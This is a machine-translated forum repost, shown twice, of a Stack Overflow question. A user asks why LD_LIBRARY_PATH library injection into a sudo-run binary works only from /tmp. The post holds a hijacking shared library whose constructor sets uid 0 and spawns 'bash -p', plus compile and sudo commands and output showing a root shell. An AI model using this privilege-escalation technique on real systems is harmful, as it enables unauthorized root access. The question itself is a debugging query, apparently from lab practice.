Я пытаюсь выполнить двоичный файл с повышенными привилегиями и сделать его загруженной библиотекой из конкретного каталога, установив переменную среды LD_Library_path. Прыгайте < /p>
#include
#include
int main() {
// Prova ad aprire la libreria
void *handle = dlopen("./mylib.so", RTLD_LAZY);
if (!handle) {
printf("[-] libreria non trovata\n");
return 1;
}
else {
printf("[+] libreria caricata\n");
}
dlclose(handle);
return 0;
}
< /code>
и библиотека: < /p>
#define _GNU_SOURCE
#include
#include
#include
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
< /code>
Скомпилировано с: < /p>
gcc -o /tmp/mylib.so -shared -fPIC /tmp/lib.c
< /code>
То, что я пытаюсь сделать, - это запустить исполняемый jump, внедряющий мою библиотеку: < /p>
sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
< /code>
Но он запускает его правильно, только если я нахожусь в каталоге /TMP: < /p>
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
[-] libreria non trovata
┌──(kali㉿kali)-[~/Desktop]
└─$ cd /tmp
┌──(kali㉿kali)-[/tmp]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
┌──(root㉿kali)-[/tmp]
└─# id
uid=0(root) gid=0(root) groups=0(root)
┌──(root㉿kali)-[/tmp]
└─# exit
exit
[+] libreria caricata
< /code>
Вопрос < /strong>
Почему? < /p>
Подробнее здесь: https://stackoverflow.com/questions/796 ... -have-to-b
Внедрение библиотеки с LD_LIBRARY_PATH, почему, чтобы выполнить программу, я должен быть в каталоге библиотеки? ⇐ Linux
1748810925
Anonymous
Я пытаюсь выполнить двоичный файл с повышенными привилегиями и сделать его загруженной библиотекой из конкретного каталога, установив переменную среды LD_Library_path. Прыгайте < /p>
#include
#include
int main() {
// Prova ad aprire la libreria
void *handle = dlopen("./mylib.so", RTLD_LAZY);
if (!handle) {
printf("[-] libreria non trovata\n");
return 1;
}
else {
printf("[+] libreria caricata\n");
}
dlclose(handle);
return 0;
}
< /code>
и библиотека: < /p>
#define _GNU_SOURCE
#include
#include
#include
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
< /code>
Скомпилировано с: < /p>
gcc -o /tmp/mylib.so -shared -fPIC /tmp/lib.c
< /code>
То, что я пытаюсь сделать, - это запустить исполняемый jump, внедряющий мою библиотеку: < /p>
sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
< /code>
Но он запускает его правильно, только если я нахожусь в каталоге /TMP: < /p>
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
[-] libreria non trovata
┌──(kali㉿kali)-[~/Desktop]
└─$ cd /tmp
┌──(kali㉿kali)-[/tmp]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
┌──(root㉿kali)-[/tmp]
└─# id
uid=0(root) gid=0(root) groups=0(root)
┌──(root㉿kali)-[/tmp]
└─# exit
exit
[+] libreria caricata
< /code>
Вопрос < /strong>
Почему? < /p>
Подробнее здесь: [url]https://stackoverflow.com/questions/79647385/library-injection-with-ld-library-path-why-to-execute-the-program-i-have-to-b[/url]
Ответить
1 сообщение
• Страница 1 из 1
Перейти
- Кемерово-IT
- ↳ Javascript
- ↳ C#
- ↳ JAVA
- ↳ Elasticsearch aggregation
- ↳ Python
- ↳ Php
- ↳ Android
- ↳ Html
- ↳ Jquery
- ↳ C++
- ↳ IOS
- ↳ CSS
- ↳ Excel
- ↳ Linux
- ↳ Apache
- ↳ MySql
- Детский мир
- Для души
- ↳ Музыкальные инструменты даром
- ↳ Печатная продукция даром
- Внешняя красота и здоровье
- ↳ Одежда и обувь для взрослых даром
- ↳ Товары для здоровья
- ↳ Физкультура и спорт
- Техника - даром!
- ↳ Автомобилистам
- ↳ Компьютерная техника
- ↳ Плиты: газовые и электрические
- ↳ Холодильники
- ↳ Стиральные машины
- ↳ Телевизоры
- ↳ Телефоны, смартфоны, плашеты
- ↳ Швейные машинки
- ↳ Прочая электроника и техника
- ↳ Фототехника
- Ремонт и интерьер
- ↳ Стройматериалы, инструмент
- ↳ Мебель и предметы интерьера даром
- ↳ Cантехника
- Другие темы
- ↳ Разное даром
- ↳ Давай меняться!
- ↳ Отдам\возьму за копеечку
- ↳ Работа и подработка в Кемерове
- ↳ Давай с тобой поговорим...
Мобильная версия